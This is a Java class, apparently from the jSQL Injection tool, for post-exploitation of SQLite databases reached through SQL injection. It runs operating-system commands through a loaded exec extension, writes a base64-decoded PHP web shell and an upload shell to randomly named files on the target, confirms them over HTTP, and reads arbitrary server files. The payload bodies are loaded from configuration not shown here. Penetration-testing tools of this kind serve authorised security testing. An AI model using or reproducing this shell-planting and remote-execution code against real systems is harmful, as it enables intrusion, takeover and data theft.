1 package com.jsql.model.accessible.engine;
2
3 import com.jsql.model.InjectionModel;
4 import com.jsql.model.accessible.DataAccess;
5 import com.jsql.model.accessible.ResourceAccess;
6 import com.jsql.model.accessible.engine.sqlite.ModelYamlSqlite;
7 import com.jsql.model.bean.database.MockElement;
8 import com.jsql.view.subscriber.Seal;
9 import com.jsql.model.exception.AbstractSlidingException;
10 import com.jsql.model.exception.JSqlException;
11 import com.jsql.model.exception.JSqlRuntimeException;
12 import com.jsql.model.suspendable.SuspendableGetRows;
13 import com.jsql.util.LogLevelUtil;
14 import com.jsql.util.StringUtil;
15 import org.apache.commons.lang3.RandomStringUtils;
16 import org.apache.commons.lang3.StringUtils;
17 import org.apache.logging.log4j.LogManager;
18 import org.apache.logging.log4j.Logger;
19 import org.yaml.snakeyaml.Yaml;
20
21 import java.io.File;
22 import java.io.FileInputStream;
23 import java.io.IOException;
24 import java.io.InputStream;
25 import java.net.http.HttpResponse;
26 import java.util.UUID;
27 import java.util.function.BinaryOperator;
28
29 public class ExploitSqlite {
30
31 private static final Logger LOGGER = LogManager.getRootLogger();
32 private final InjectionModel injectionModel;
33 private final ModelYamlSqlite modelYaml;
34
35 public ExploitSqlite(InjectionModel injectionModel) {
36 this.injectionModel = injectionModel;
37 var yaml = new Yaml();
38 this.modelYaml = yaml.loadAs(
39 injectionModel.getMediatorEngine().getSqlite().instance().getModelYaml().getResource().getExploit(),
40 ModelYamlSqlite.class
41 );
42 }
43
44 public void createUdf() {
45 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE UDF requirements: extension exec loaded");
46 var result = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
47 this.modelYaml.getExtension().getExec(),
48 ResourceAccess.WEB_CONFIRM_CMD +"%20"
49 ), ResourceAccess.TBL_READ);
50 if (result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
51 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE UDF successful: command execution found");
52 this.injectionModel.sendToViews(new Seal.AddTabExploitUdf(
53 (String command, UUID terminalID) -> this.injectionModel.getResourceAccess().getExploitSqlite().runRce(command, terminalID)
54 ));
55 }
56 }
57
58 public String runRce(String command, UUID uuidShell) {
59 String result;
60 try {
61 result = this.injectionModel.getResourceAccess().getResult(String.format(
62 this.modelYaml.getExtension().getExec(),
63 command.replace(StringUtils.SPACE, "%20")
64 ), ResourceAccess.RUN_FUNC);
65 } catch (JSqlException e) {
66 result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
67 }
68 this.injectionModel.sendToViews(new Seal.GetTerminalResult(
69 uuidShell,
70 result.trim() +"\n"
71 ));
72 return result;
73 }
74
75 public String createWeb(String pathExploit, String urlExploit) {
76 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE Web target requirements: stack query, web+db on same machine");
77
78 String bodyExploit = StringUtil.base64Decode(
79 this.injectionModel.getMediatorUtils().propertiesUtil().getProperty("exploit.web")
80 )
81 .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
82 .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
83 var nameDbRandom = RandomStringUtils.secure().nextAlphabetic(8);
84 var nameTableRandom = RandomStringUtils.secure().nextAlphabetic(8);
85 var nameExploit = nameDbRandom + nameTableRandom +".php";
86 this.injectionModel.injectWithoutIndex(String.format(
87 this.modelYaml.getWriteFile(),
88 pathExploit + nameExploit, nameDbRandom,
89 nameDbRandom, nameTableRandom,
90 nameDbRandom, nameTableRandom, bodyExploit
91 ), ResourceAccess.TBL_DUMP);
92
93 BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
94 String result = this.injectionModel.getResourceAccess().callCommand(
95 urlSuccess +"?c="+ ResourceAccess.WEB_CONFIRM_CMD
96 );
97 if (!result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
98 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit body not found");
99 return StringUtils.EMPTY;
100 }
101 this.injectionModel.sendToViews(new Seal.AddTabExploitWeb(urlSuccess));
102 return urlSuccess;
103 };
104
105 return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
106 }
107
108 public void createUpload(String pathExploit, String urlExploit, File fileToUpload) {
109 String bodyExploit = StringUtil.base64Decode(
110 this.injectionModel.getMediatorUtils().propertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_UPL)
111 )
112 .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
113 .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
114 var nameDbRandom = RandomStringUtils.secure().nextAlphabetic(8);
115 var nameTableRandom = RandomStringUtils.secure().nextAlphabetic(8);
116 var nameExploit = nameDbRandom + nameTableRandom +".php";
117 this.injectionModel.injectWithoutIndex(String.format(
118 this.modelYaml.getWriteFile(),
119 pathExploit + nameExploit, nameDbRandom,
120 nameDbRandom, nameTableRandom,
121 nameDbRandom, nameTableRandom, bodyExploit
122 ), ResourceAccess.TBL_DUMP);
123
124 BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
125 try (InputStream streamToUpload = new FileInputStream(fileToUpload)) {
126 HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload);
127 if (result.body().contains(DataAccess.LEAD +"y")) {
128 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName());
129 } else {
130 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName());
131 }
132 } catch (InterruptedException e) {
133 LOGGER.log(LogLevelUtil.IGNORE, e, e);
134 Thread.currentThread().interrupt();
135 } catch (IOException | JSqlException e) {
136 throw new JSqlRuntimeException(e);
137 }
138 return urlSuccess;
139 };
140
141 this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
142 }
143
144 public String getRead(String pathFile) throws AbstractSlidingException {
145 LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Read file requirement: extension fileio loaded");
146 return new SuspendableGetRows(this.injectionModel).run(
147 String.format(
148 this.injectionModel.getResourceAccess().getExploitSqlite().getModelYaml().getExtension().getFileioRead(),
149 pathFile
150 ),
151 new String[]{ StringUtils.EMPTY },
152 false,
153 1,
154 MockElement.MOCK,
155 ResourceAccess.FILE_READ
156 );
157 }
158
159 public ModelYamlSqlite getModelYaml() {
160 return this.modelYaml;
161 }
162 }